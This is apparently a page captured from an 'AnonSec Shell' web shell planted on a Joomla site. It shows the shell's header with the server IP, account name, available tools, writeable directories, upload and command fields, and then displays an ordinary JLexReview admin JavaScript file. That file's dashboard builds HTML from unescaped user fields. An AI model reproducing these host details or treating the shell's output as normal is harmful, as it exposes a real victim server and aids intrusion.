AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/administrator/components/com_jlexreview/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/administrator/components/com_jlexreview/assets/script.js
function JLexReviewAdmin($, config, loaders) {
	var o = this;
	
	this.cookie = {
		create:function (cname, cvalue, exdays) {
			var d = new Date();
		    d.setTime(d.getTime() + (exdays*24*60*60*1000));
		    var expires = "expires="+d.toUTCString();
		    document.cookie = cname + "=" + cvalue + "; " + expires;
        },
        read:function (cname) {
        	var name = cname + "=";
            var ca = document.cookie.split(';');
            for(var i=0; i<ca.length; i++) {
                var c = ca[i];
                while (c.charAt(0)==' ') c = c.substring(1);
                if (c.indexOf(name) == 0) return c.substring(name.length,c.length);
            }
            return null;
        },
        erase:function(name) {
            this.create(name, "", -1);
        }
	};

	this.func = {
		round : function(number)
		{
			if (typeof number=="string")
			{
				number*=1;
			}
			return Math.round(number * 100) / 100;
		},

		ratingStar : function()
		{
			var _create = function(_el){
					var setting = {
						value 	: _el.val(),
						max 	: _el.attr('data-max')*1,
						half 	: _el.attr('data-half')==1?true:false,
						style 	: _el.attr('data-style'),
						default : _el.attr('data-default')*1,
						require : _el.attr('data-require')*1
					};

					if (setting.style=="slider")
					{
						var _currentValue = setting.value<=0?setting.default:setting.value;
						var _slider = '<div style="padding:0 0 15px 0"><div class="nstSlider" data-range_min="1" data-range_max="'+setting.max+'" data-cur_min="'+(setting.value<=0?setting.default:setting.value)+'">';
							_slider+= '<div class="leftGrip"></div>';
							_slider+= '</div>';
							_slider+= '<div class="ratingPoint"><span class="_point">'+(setting.value<=0?setting.default:setting.value)+'</span>/'+setting.max+'</div>';
							if (!setting.require)
							{
								_slider+= '<a class="skip_rating">Skip</a>';
							}
							_slider+= '</div>';

						_slider = $(_slider);
						_slider.insertBefore(_el);
						_slider.find('.nstSlider').nstSlider({
						    "left_grip_selector": ".leftGrip",
						    "value_changed_callback": function(cause, leftValue, rightValue) {
						        _slider.find('._point').text(leftValue);
						        _el.val(leftValue);
						        _currentValue = leftValue;

						        if (_slider.find('.nstSlider').hasClass('disabled'))
						        {
						        	_slider.find('.skip_rating').trigger('click');
						        }
						    }
						});

						if (!setting.require)
			            {
			            	_slider.find('.skip_rating').click(function(){
			            		if (!$(this).hasClass('active'))
			            		{
			            			_el.val('-1');
			            		} else {
			            			_el.val(_currentValue);
			            		}

			            		_slider.find('.nstSlider').toggleClass('disabled');
			            		$(this).toggleClass('active');
			            	});

			            	if (setting.value<=0)
			            	{
			            		_slider.find('.skip_rating').trigger('click');
			            	}
			            }
					} else {
						var _starRating = '<div class="jr-star-rating '+(setting.value<=0?'disabled':'')+'"></div>',
							_starParams = {
								rating:(setting.value<=0 ? setting.default : setting.value),
								numStars:setting.max,
								maxValue:setting.max
							};

						if (setting.half)
						{
							_starParams.halfStar = true;
						} else {
							_starParams.fullStar = true;
						}

						_starRating = $(_starRating);
						_starRating.insertBefore(_el);

			            if (!setting.require)
			            {
			            	var _skipEl = $('<a class="skip_rating">Skip</a>');
			            	_skipEl.insertAfter(_starRating);

			            	_skipEl.click(function(){
			            		if (!_skipEl.hasClass('active'))
			            		{
			            			_el.val("-1");
			            		}

			            		_starRating.toggleClass('disabled');
			            		_skipEl.toggleClass('active');
			            	});

			            	if (setting.value<=0)
			            	{
			            		_skipEl.addClass('active');
			            	}
			            }

			            _starRating.rateYo(_starParams);
						_starRating.rateYo().on("rateyo.change", function (e, data) {
			                _el.val(data.rating);

			                if (typeof _skipEl != "undefined" && _skipEl.hasClass('active'))
			                {
			                	_skipEl.trigger('click');
			                }
			            });
					}
				};

			$("._ratingStar").each(function(){
				_create($(this));
			});
		}
	};

	this.dashboard=function()
	{
		var period = 7;
		var otherHtml = function(data)
			{
				// latest review
				var latestReviews = '<ul class="jreview-db-cms jr-list-unstyled">';
				$.each(data.latest_reviews, function(k,v){
					latestReviews+= '<li class="jreview-db-review">';
						if (v.author_url!=null)
						{
							latestReviews+= '<a class="jreview-bold" href="'+v.author_url+'">'+v.author+'</a>';
						} else {
							latestReviews+= '<b class="jreview-bold">'+v.author+'</b>';
						}
						latestReviews+= ' posted a <a href="'+v.url+'">review</a> in <a class="jreview-bold" href="'+v.object_url+'" target="_blank">'+v.object_name+'<span class="_rc" data-id="'+v.entry_id+'"></span></a>';
						latestReviews+= '<span class="jreview-date">'+v.created+'</span>';
					latestReviews+= '</li>';
				});
				latestReviews+= '</ul>';

				if (! data.latest_reviews.length)
				{
					latestReviews = 'No reviews.';
				}

				$('#latest-reviews').empty().append(latestReviews);


				// latest comment
				var latestComments = '<ul class="jreview-db-cms jr-list-unstyled">';
				$.each(data.latest_comments, function(k,v){
					latestComments+= '<li class="jreview-db-cm">';
						if(v.author_url!=null)
						{
							latestComments+= '<a class="jreview-bold" href="'+v.author_url+'">'+v.author+'</a>';
						} else {
							latestComments+= '<b class="jreview-bold">'+v.author+'</b>';
						}
						latestComments+= ' posted a <a href="'+v.url+'">comment</a> in <a class="jreview-bold" href="'+v.object_url+'" target="_blank">'+v.object_name+'<span class="_rc" data-id="'+v.entry_id+'"></span></a>';	
						latestComments+= '<div class="jreview-cm-preview" data-url="'+encodeURIComponent(v.url)+'">'+v.comment+'</div>';
						latestComments+= '<span class="jreview-date">'+v.created+'</span>';
					latestComments+= '</li>';
				});
				latestComments+= '</ul>';

				if(!data.latest_comments.length)
				{
					latestComments = 'No comments.';
				}

				$('#latest-comments').empty().append(latestComments);

				// top items
				var topItems = '<ul class="jr-list-unstyled jreview-db-items">';
				$.each(data.top_items, function(k,v){
					topItems+= '<li>';
						topItems+= '<span class="jreview-number">'+(k+1)+'</span>';
						topItems+= '<a class="jreview-bold" href="'+v.url+'" target="_blank">'+v.object_name+'<span class="_rc" data-id="'+v.id+'"></span></a>';
					topItems+= '</li>';
				});
				topItems+= '</ul>';

				if(!data.top_items.length)
				{
					topItems = 'No items';
				}

				$('#top-items').empty().append(topItems);

				// popular items
				var pplItems = '<ul class="jr-list-unstyled jreview-db-items">';
				$.each(data.popular_items, function(k,v){
					pplItems+= '<li>';
						pplItems+= '<span class="jreview-number">'+(k+1)+'</span>';
						pplItems+= '<a class="jreview-bold" href="'+v.url+'" target="_blank">'+v.object_name+'<span class="_rc" data-id="'+v.id+'"></span></a>';
						pplItems+= '<span class="item-review-count"><b>+'+v.count_rating+'</b></span>';
					pplItems+= '</li>';
				});
				pplItems+= '</ul>';

				if(!data.popular_items.length)
				{
					pplItems = 'No items';
				}

				$('#popular-items').empty().append(pplItems);

				// statistic
				$('._count_rating').text(data.total_rating);
				$('._count_cm').text(data.total_cm);
				$('._count_sub').text(data.total_subscribe);
				$('._count_report').text(data.total_report);
			},
			history = {};

		// chart map
		var lineChart = null,
			historyChart = {},
			sticHtml = function(d)
			{
				var monthNames = [
				  "Jan", "Feb", "Mar",
				  "April", "May", "June", "July",
				  "Aug", "Sep", "Oct",
				  "Nov", "Dec"
				];

				var data = {
					    labels: [],
					    datasets: [
					        {
					        	label: "Rating",
					        	fill:true,
					        	backgroundColor:"rgba(6, 123, 130, 0.2)",
					        	borderColor:"rgba(6, 123, 130, 1)",
					        	pointBorderColor: "rgba(6, 123, 130,1)",
            					pointBackgroundColor: "rgba(6, 123, 130,1)",
					            data: []
					        },
					        {
					        	label: "Comment",
					            fill:true,
					        	backgroundColor:"rgba(114, 96, 110, 0.2)",
					        	borderColor:"rgba(114, 96, 110, 1)",
					        	pointBorderColor: "rgba(114, 96, 110,1)",
            					pointBackgroundColor: "rgba(114, 96, 110,1)",
					            data: []
					        },
					        {
					        	label: "Reporting",
					            fill:true,
					        	backgroundColor:"rgba(234, 133, 105, 0.2)",
					        	borderColor:"rgba(234, 133, 105, 1)",
					        	pointBorderColor: "rgba(234, 133, 105,1)",
            					pointBackgroundColor: "rgba(234, 133, 105,1)",
					            data: []
					        },
					        {
					        	label: "Subscriber",
					            fill:true,
					        	backgroundColor:"rgba(15, 80, 144, 0.2)",
					        	borderColor:"rgba(15, 80, 144, 1)",
					        	pointBorderColor: "rgba(15, 80, 144,1)",
            					pointBackgroundColor: "rgba(15, 80, 144,1)",
					            data: []
					        }
					    ]
					};

				$.each(d,function(k,v)
				{
					if ( k==0 )
					{
						// not using for data
						data.datasets[0].label = v[1];
						data.datasets[1].label = v[2];
						data.datasets[2].label = v[3];
						data.datasets[3].label = v[4];
					} else {
						var date = v[0].split('-');
						if (date.length==3)
						{
							data.labels.push(monthNames[ date[1]-1 ]+' '+date[0]);
						} else {
							data.labels.push(date[0]+'/'+date[1]);
						}
						
						data.datasets[0].data.push(v[1]);
						data.datasets[1].data.push(v[2]);
						data.datasets[2].data.push(v[3]);
						data.datasets[3].data.push(v[4]);
					}
				});



				if ( lineChart!=null )
				{
					lineChart.destroy();
					$('#jreview-chart').removeAttr ('height');
					$('#jreview-chart').removeAttr ('width');
				}

				var ctx = $('#jreview-chart')[0].getContext("2d");
					ctx.canvas.height = 10;
					ctx.canvas.width = 16;
				lineChart = Chart.Line (ctx,
						{
							data: data,
							options: {
								responsive: true,
								maintainAspectRatio: true,
								scales: {
						            yAxes: [{
						                ticks: {
						                    beginAtZero : true,
						                    /*stepSize : 1,
						                    max:10 */
						                }
						            }]
						        }
							}
						}
					);
			};

		// adjust period 
		$('.jreview-db-refresh').click (function(e){
			var _el = $(this);

			period = _el.attr ('data-val');

			e.preventDefault();
			_el.addClass ('active');
			$('.jreview-db-refresh').not(_el).removeClass('active');

			if (history.hasOwnProperty(period))
			{
				otherHtml(history[period]);
			} else {
				$.get(config.url+'/index.php?option=com_jlexreview&view=dashboard&task=others&p='+period, function(d){
					history[period] = d;
					otherHtml(d);
				}, 'json');
			}

			if(historyChart.hasOwnProperty(period))
			{
				sticHtml(historyChart[period]);
			} else {
				$.get(config.url+'/index.php?option=com_jlexreview&view=dashboard&task=statistics&p='+period, function(d){
					historyChart[period] = d;
					sticHtml(d);
				}, 'json');
			}
		});

		// bind events
		$('.jreview-widget-label').click(function(){
			if ($(this).hasClass('active')) return;

			var _parent = $(this).parents('.jreview-widget');
			_parent.find('.jreview-widget-label.active').removeClass('active');
			$(this).addClass('active');
		});

		$('#latest-comments').on('click', '.jreview-cm-preview', function(){
			var url = $(this).attr('data-url');
			if(typeof url=='undefined') return;

			window.location.href = decodeURIComponent(url);
		});

		// first time
		$('.jreview-db-refresh:eq(0)').trigger('click');

		// compare rating by week, month or year.
		window.setInterval(function(){
			if(!$('._rc').not('.loaded').length) return;

			var cid=[],
				_els = $('._rc').not('.loaded');
			_els.each(function(){
				var id = parseInt($(this).attr('data-id'));
				if($.inArray(id, cid)==-1) cid.push(id);
			});

			_els.addClass('loaded');

			$.get(config.url+'/index.php?option=com_jlexreview&view=dashboard&task=compare_rating&p='+period+'&cid='+cid.join(','), function(d){
				if(d==null || !d) return;

				$.each(d, function(k,v){
					var eClass = v.rating==v.period_rating?'jl-icon-caret-up-down equal':(v.period_rating>v.rating?'gt jl-icon-caret-up-two':'lt jl-icon-caret-down-two');
					_els.filter('[data-id='+v.id+']').html('<i class="'+eClass+'"></i>');
				});
			},'json');
		},1000);

		//;; Joomla 3
		if(config.jversion=="J3")
		{
			$("#isisJsData").remove();
			$(".header").css('padding', '25px');
		}

		// check version
		var version_compare = function(a, b){
		    if(a === b) return 0;

		    var a_components = a.split(".");
		    var b_components = b.split(".");

		    var len = Math.min(a_components.length, b_components.length);

		    // loop while the components are equal
		    for (var i = 0; i < len; i++) {
		        // A bigger than B
		        if (parseInt(a_components[i]) > parseInt(b_components[i])) {
		            return 1;
		        }

		        // B bigger than A
		        if (parseInt(a_components[i]) < parseInt(b_components[i])) {
		            return -1;
		        }
		    }

		    // If one's a prefix of the other, the longer one is greater.
		    if (a_components.length > b_components.length) {
		        return 1;
		    }

		    if (a_components.length < b_components.length) {
		        return -1;
		    }

		    // Otherwise they are the same.
		    return 0;
		};

		$.get(config.url+'/index.php?option=com_jlexreview&view=dashboard&task=lsversion', function(d){
			$('#jr-info .v1').text(d.local);
			$('#jr-info .v2').text(d.server);

			if(d.hasOwnProperty('error'))
			{
				$('#jr-info .err').text(d.error).show();
				return;
			}

			if(version_compare(d.server,d.local)==1)
			{
				$('#jr-info .v2').text(d.server+' ('+d.released+')');
				$('#jr-info').addClass('warm');
			}
		}, 'json');
	};

	this.entry_form = function()
	{
		o.func.ratingStar();
	};

	this.ratingform = function()
	{
		o.func.ratingStar();

		var mSize = function(size){
				if(size>1000*1000*1000) {
					size = o.func.round(size/(1000*1000*1000)) + ' Gb';
				} else if (size>1000*1000) {
					size = o.func.round(size/(1000*1000)) + ' Mb';
				} else {
					size = parseInt(size/1000) + ' Kb';
				}
				return size;
			};

		var mTpl = function(data){
			var _el = $('#jr-media-layout').clone()
					.removeAttr('id').addClass('jr-media-item').addClass(data.status);

			_el.find('._header ._name').text(data.name);
			_el.find('._extra ._size').text(mSize(data.size));
			_el.find('._extra ._type').text(data.type);
			_el.find('._extra ._preview').html(data.preview);

			if(!/^\s*$/.test(data.description) && typeof data.description=="string") _el.find('._extra ._desc').html(data.description.replace(/\n/g, "<br>"));

			if(data.hasOwnProperty('id')) _el.find('._mediaCid').val(data.id);

			// create events
			_el.on('click', '._header', function(){
				if(!_el.hasClass('_completed')) return;
				$(this).toggleClass('active');
			});

			_el.on('click', '._edit', function(){
				var id = _el.find('._mediaCid').val();
				_el.find('button').attr('disabled', 'disabled');

				$.get(config.url+'/index.php', {option:'com_jlexreview', view:'media', task:'load_item', id:id}, function(d){
					_el.find('button').removeAttr('disabled');

					if(d.status==400)
					{
						alert(d.error);
						return false;
					}

					_el.addClass('editing');
					_el.find('input._name').val(d.data.name);
					_el.find('textarea._desc').val(d.data.description);
				}, 'json');
			})
			.on('click', '._cancel', function(){
				_el.find('._header').addClass('active');
				_el.removeClass('editing');
			})
			.on('click', '._update', function(){
				var _obj = $(this),
					request = {
						option: 'com_jlexreview',
						view: 'media',
						task: 'update',
						id: _el.find('._mediaCid').val(),
						name: _el.find('input._name').val(),
						description: _el.find('textarea._desc').val()
					};

				if(/^\s*$/.test(request.name))
				{
					_el.find('input._name').focus();
					return false;
				}

				_obj.attr('disabled', 'disabled');
				$.post(config.url+'/index.php', request, function(d){
					_obj.removeAttr('disabled');
					if(d.status==400)
					{
						alert(d.error);
						return false;
					}

					_el.find('._header ._name').text(request.name);
					_el.find('._extra ._desc').text(request.description);
					_el.find('._header').addClass('active');
					_el.removeClass('editing');
				}, 'json');
			})
			.on('click', '._remove', function(){
				var _obj = $(this),
					id 	 = _el.find('._mediaCid').val();

				_obj.attr('disabled', 'disabled');
				$.post(config.url+'/index.php', {option:'com_jlexreview', view:'media', task:'remove', id:id}, function(d){
					_obj.removeAttr('disabled');
					if(d.status==400)
					{
						alert(d.error);
						return false;
					}

					_el.fadeOut('fast', function(){
						_el.remove();
					});
				}, 'json');
			});

			_el.appendTo('#media-items');
			return _el;
		};

		$('#file-attachment').next().removeAttr('style');
		$('#file-attachment').next().click(function(){
			$('#file-attachment').trigger('click');
		});

		$('#file-attachment').change(function(e){
			var _ob = $(this);
			if(!e.target.files.length) return;

			$.each(e.target.files, function(k, file){
				var data = new FormData(),
					fp = mTpl({
						name : file.name,
						description : '',
						size : file.size,
						status : '_uploading',
						type : file.type,
						preview : '<span>No preview</span>'
					});

				data.append('file', file);

				window.setTimeout(function(){
					var xhr = $.ajax({
						url: config.url+'/index.php?option=com_jlexreview&view=media&task=upload',
						data: data,
						processData: false,
						contentType: false,
						dataType: 'json',
						xhr: function(){
							var xhrobj = $.ajaxSettings.xhr();
							if(xhrobj.upload) {
						        xhrobj.upload.addEventListener('progress', function(event) {
						            var percent = 0;
						            var position = event.loaded || event.position;
						            var total = event.total;
						            if(event.lengthComputable) percent = Math.ceil(position / total * 100);

						            fp.find('._progress_result').css('width',percent+'%');
						            fp.find('._progress_text').text(percent);
						        }, false);
						    }
							return xhrobj;
						},
						type: 'POST',
						success: function(d){
							if (d.status==200) {
								fp.find ('._mediaCid').val(d.id);
								fp.removeClass('_uploading').addClass('_completed');
							} else {
								fp.removeClass('_uploading').addClass('_error');
								fp.find ('._error').text(d.error);
							}
						}
					});

					fp.on('click','._abort', function(){
						if(typeof xhr!='undefined') xhr.abort();
						fp.fadeOut(function(){
							$(this).remove ();
						});
					});
				}, k*500);
			});
		});

		// bind media item exist
		window.setTimeout(function(){
			if(typeof window.jrMedia == 'undefined') return;
			$.each(window.jrMedia, function(k,v){ mTpl(v); });
		},500);
	};

	this.reviewlist = function(){
		o.inputOverride();

		$('.ad_quick_rate').click(function(e){
			e.preventDefault();
			let el=$(this),
				oVal=el.attr('data-value'),
				id=el.attr('data-id');

			let sVal=function(msg){
				nVal = prompt((typeof msg=="undefined"?"":msg+"\n")+"Enter new value:", oVal);
				if(nVal==null) return;
				if(!/^([0-9]*[.])?[0-9]+$/.test(nVal))
				{
					sVal("The value is incorrect.");
					return;
				}

				el.parent().find('strong').text('Please wait...');
				$.post(config.url+'/index.php', {option:'com_jlexreview', view:'rating', task:'update_rate_point', id:id, value:nVal}, function(d){
					if(d.status==400){
						el.parent().find('strong').text(oVal);
						sVal(d.error);
					} else {
						el.parent().find('strong').text(d.value);
						el.attr('data-value', d.value);
					}
				}, 'json');
			}

			sVal();
		});

		// preview review
		$('.r-title>a').mouseenter(function(){
			let el=$(this).parent();

			if(typeof el.attr('data-loaded')!='undefined') return;

			el.attr('data-loaded', 1);
			$.get(config.url+'/index.php', {option:'com_jlexreview', view:'rating', task:'preview', id:el.attr('data-id')}, function(d){
				if(d.status==400){
					el.find('.r-preview').html('<span>Error: '+d.error+'</span>');
				} else {
					el.find('.r-preview').html(d.html);
				}
			}, 'json');
		});
	};

	this.user = function(){
		$(".jr-change-thumb").click(function(){
			var uid = $(this).attr("data-id");
				_el = $('<input type="file" name="file" style="display:none" />');
				_el.appendTo("#adminForm");

			_el.change(function(){
				$("#adminForm").append('<input type="hidden" name="id" value="'+uid+'" />');
				Joomla.submitbutton('thumb');
			});

			_el.trigger("click");
		});
	};

	this.sync = function(){
		// form
		(function(){
			if(typeof ace=='undefined') return;

			var init=function(){
				ace.config.set('basePath', config.url+'/components/com_jlexreview/assets/ace/libs');

				$('.aceditor').each(function(){
					var txt = $(this),
						el = ace.edit(txt.next('div')[0]);
					el.setTheme("ace/theme/monokai");
					el.setOptions({
						minLines:5,
					    maxLines: 15
					});

					el.getSession().setMode("ace/mode/php");
					el.setValue(txt.val());
					//el.getValue();

					el.getSession().on("change", function () {
					    txt.val(el.getValue());
					});

					txt.hide();
				});
			};
			
			init();
		})();
		
		// sync bar
		(function(){
			var r={
					option:'com_jlexreview',
					view:'sync',
					task:'sync',
					offset:0
				};

			var g=function(){
				$.post(config.url+'/index.php', r, function(d){
					var p=0;
					if(d.total>d.offset+d.limit){
						// continue
						p=parseInt((d.offset+d.limit)*100/d.total);
						r.offset=d.offset+d.limit;
						g();
					} else {
						// complete
						p=100;
						window.setTimeout(function(){
							window.location.reload();
						},2000);
					}

					$('#syncIndex .jpercent span').text(p);
					$('#syncIndex .jprocess').css('width', p+'%');
				},'json');
			};

			Joomla.submitbutton = function(task)
			{
				if(task=='sync'){
					$('#syncIndex').addClass('active');
					g();
					return false;
				}

				Joomla.submitform(task);
				return true;
			}
		})();
	};

	this.import_column = function(){
		var getResult = function(id){
			var t = Date.now();
			$.get(config.url+"/index.php?option=com_jlexreview&view=import&task=load_state&id="+id+"&t="+t, function(d){
				if(d.status==400)
				{
					alert(d.error);
					return;
				}

				$("#import-result ._success").text(d.success);
				$("#import-result ._failure").text(d.failure);

				$("#import-result .jr-import-logs").html(d.logs);
			},'json');
		};

		Joomla.submitbutton = function(task)
		{
			if(task!="import")
			{
				Joomla.submitform(task);
				return true;
			}

			var error = false;
			$('._jr_input').each(function(){
				var _ob = $(this);
				if(_ob.val()=="-1")
				{
					// use default field
					var id 	= _ob.attr("name").replace(/[\[\]]/g,"_") + "default_",
						_el = $('#'+id);

					if ( _el.attr("data-require")=="1" && (!_el.length || /^\s*$/.test(_el.val())))
					{
						error = true;
						_el.focus();
						alert("Field not empty.");
						return false;
					}
				}
			});

			if(error) return false;

			$('._jr_input').each(function(){
				var _ob = $(this);
				if(_ob.val()=="-1")
				{
					// use default field
					var id 	= _ob.attr("name").replace(/[\[\]]/g,"_") + "default_",
						_el = $('#'+id);

					if (_el.length)
					{
						_el.attr("name", _ob.attr("name"));
						_ob.removeAttr("name");
					}
				}
			});

			Joomla.submitform(task);

			var id = $('input[name=id]').val();

			$("#import-result").show();
			$("#import-ui").hide();

			window.setInterval(function(){
				getResult(id);
			}, 3000);
		}
	};

	this.import_3rd = function(){
		var __data = $('#form_data').html();
			__data = $.parseJSON(__data);

		var __sectionSl = $('<select name="section_file" class="custom-select"></select>');
		$.each(__data, function(k,v){
			__sectionSl.append('<option value="'+k+'">'+v.name+'</option>');
		});

		__sectionSl.on('change', function(){
			var __fieldSl = $('<select name="review_field" class="custom-select"></select>');
			$.each(__data[__sectionSl.val()*1]['fields'], function(k,v){
				__fieldSl.append('<option value="'+v.value+'">'+v.name+'</option>');
			});

			$('#review_field_box').empty().append(__fieldSl);
		});

		__sectionSl.appendTo('#section_file_box');
		__sectionSl.trigger('change');

		$("#import-btn").click(function(){
			var migrator = $("select[name=migrator]").val(),
				total    = 0,
				success  = 0;

			$(this).fadeOut("fast");
			$(this).next(".progress").fadeIn("fast");

			// begin import
			var importComplted = function(total)
				{
					var url = config.url+"/index.php?option=com_jlexreview&view=import&task=migrator&done=1&total="+total;
					window.location = url;
				},
				importBegin = function(offset)
				{
					var request = {
							option: "com_jlexreview",
							view: "import",
							task:"migrator",
							migrator:migrator,
							section_file:$('[name=section_file]').val(),
							review_field:$('[name=review_field]').val(),
							offset:offset
						};

					if(offset==0) request['gtotal']=1;

					$.post(config.url+"/index.php", request, function(d){
						if(typeof d!="object")
						{
							alert("Couldn't import data from "+migrator+" . Contact JLexArt to solve this issue.");
							return false;
						}

						if(offset==0)
						{
							if(d.total==0)
							{
								importComplted(0);
								return false;
							}

							total = d.total*1;
						}
						
						success+= d.success;

						var percent = (success/total)*100;
							percent = percent>100?100:percent;

						if(d.success==-1)
						{
							importComplted(success+1);
							return;
						} else {
							$(".progress .bar").css("width", percent+"%");
							$(".progress .bar-value").text(percent.toFixed(2));
						}

						window.setTimeout(function(){
							importBegin(offset+50);
						},1000);
					}, "json");
				};

			importBegin(0);
		});
	};

	this.inputOverride=function(){
		var adjField=function(field, value, table, id, callback)
		{
			$.post(config.url+'/index.php', {option:'com_jlexreview', view:'field', task:'saveValue', table:table, field:field, value:value, id:id, t:new Date().getTime()}, function(d){
				if(typeof callback=='function') callback(d);
			}, 'json');
		};

		$('.jr-edit-input').each(function(){
			var el=$(this),
				iDesc=null,
				iType=el.attr('data-type'),
				iField=el.attr('data-field'),
				iTable=el.attr('data-table'),
				iId=el.attr('data-id'),
				iValue=el.attr('data-value');

			if(iType=='text'||iType=='textarea'){
				iDesc=el.prev(el.attr('data-wrap'));
			}
			
			switch(iType)
			{
				case 'switch':
					var h='<label class="jr-switch">';
							h+='<input type="checkbox"'+(iValue=="1"?' checked':'')+'>';
							h+='<span class="s"></span>';
						h+='</label>';

					$el=$(h);
					$el.find('input').change(function(){
						adjField(iField, ($(this).is(':checked')?1:0), iTable, iId);
					});

					el.replaceWith($el);
					break;
			}
		});
	};

	this.events = function()
	{
		$("ul.jr-navTabs a").click(function(e){
			var _box = $(this).parents(".jrTabs");
			e.preventDefault();

			if ($(this).hasClass("active"))
			{
				return false;
			}

			_box.find("ul.jr-navTabs a").removeClass("active");
			$(this).addClass("active");

			var dest = $(this).attr("href");

			_box.find(".jr-tabContent").removeClass("active");
			$(dest).addClass("active");
		});
	};

	if(typeof loaders!='undefined')
	{
		$.each(loaders, function(k,l){
			o[l]();
		});
	}

	o.events();
}

Anon7 - 2022
AnonSec Team